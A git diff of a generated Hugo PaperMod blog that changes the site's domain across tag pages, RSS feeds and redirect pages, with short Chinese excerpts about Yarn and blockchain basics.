 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/yarn/index.xml b/tags/yarn/index.xml
index 569e5fba..643d0fef 100644
--- a/tags/yarn/index.xml
+++ b/tags/yarn/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Yarn on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/yarn/</link>
+    <link>https://chenjunlinabc.github.io/tags/yarn/</link>
     <description>Recent content in Yarn on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 16 Jun 2021 22:55:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/yarn/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 16 Jun 2021 22:55:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/yarn/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Yarn包管理工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/38/</link>
+      <link>https://chenjunlinabc.github.io/posts/38/</link>
       <pubDate>Wed, 16 Jun 2021 22:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/38/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/38/</guid>
       <description>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
 速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次
 保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录
diff --git a/tags/yarn/page/1/index.html b/tags/yarn/page/1/index.html
index d813e6c3..ec4a7f79 100644
--- a/tags/yarn/page/1/index.html
+++ b/tags/yarn/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/yarn/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/yarn/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/yarn/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/yarn/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/yarn/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/yarn/"></head></html>
\ No newline at end of file
diff --git "a/tags/\345\214\272\345\235\227\351\223\276/index.html" "b/tags/\345\214\272\345\235\227\351\223\276/index.html"
index 8c945b04..6b09799f 100644
--- "a/tags/\345\214\272\345\235\227\351\223\276/index.html"
+++ "b/tags/\345\214\272\345\235\227\351\223\276/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>区块链 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="区块链"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="区块链"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>区块链</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单理解区块链的基本原理</h2></header><div class=entry-content><p>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>区块链 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="区块链"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="区块链"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>区块链</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单理解区块链的基本原理</h2></header><div class=entry-content><p>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
 1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)
 在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值
 区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）
@@ -49,7 +49,7 @@
 软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已
 解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉
 最经典的例子就是拜占庭将军问题
-主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息...</p></div><footer class=entry-footer><span title='2021-06-16 09:27:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单理解区块链的基本原理" href=https://xiaochenabc123.github.io/posts/15/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息...</p></div><footer class=entry-footer><span title='2021-06-16 09:27:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单理解区块链的基本原理" href=https://chenjunlinabc.github.io/posts/15/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/tags/\345\214\272\345\235\227\351\223\276/index.xml" "b/tags/\345\214\272\345\235\227\351\223\276/index.xml"
index 80173ea0..b289518c 100644
--- "a/tags/\345\214\272\345\235\227\351\223\276/index.xml"
+++ "b/tags/\345\214\272\345\235\227\351\223\276/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>区块链 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/</link>
+    <link>https://chenjunlinabc.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/</link>
     <description>Recent content in 区块链 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 16 Jun 2021 09:27:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 16 Jun 2021 09:27:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单理解区块链的基本原理</title>
-      <link>https://xiaochenabc123.github.io/posts/15/</link>
+      <link>https://chenjunlinabc.github.io/posts/15/</link>
       <pubDate>Wed, 16 Jun 2021 09:27:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/15/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/15/</guid>
       <description>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
 1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)
 在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值
diff --git "a/tags/\345\214\272\345\235\227\351\223\276/page/1/index.html" "b/tags/\345\214\272\345\235\227\351\223\276/page/1/index.html"
index 5f06970b..cb831de3 100644
--- "a/tags/\345\214\272\345\235\227\351\223\276/page/1/index.html"
+++ "b/tags/\345\214\272\345\235\227\351\223\276/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/"></head></html>
\ No newline at end of file
diff --git "a/tags/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/index.html" "b/tags/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/index.html"
index e91b66eb..580bf6c8 100644
--- "a/tags/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/index.html"
+++ "b/tags/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>微信小程序 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="微信小程序"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="微信小程序"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>微信小程序</h1></header><article 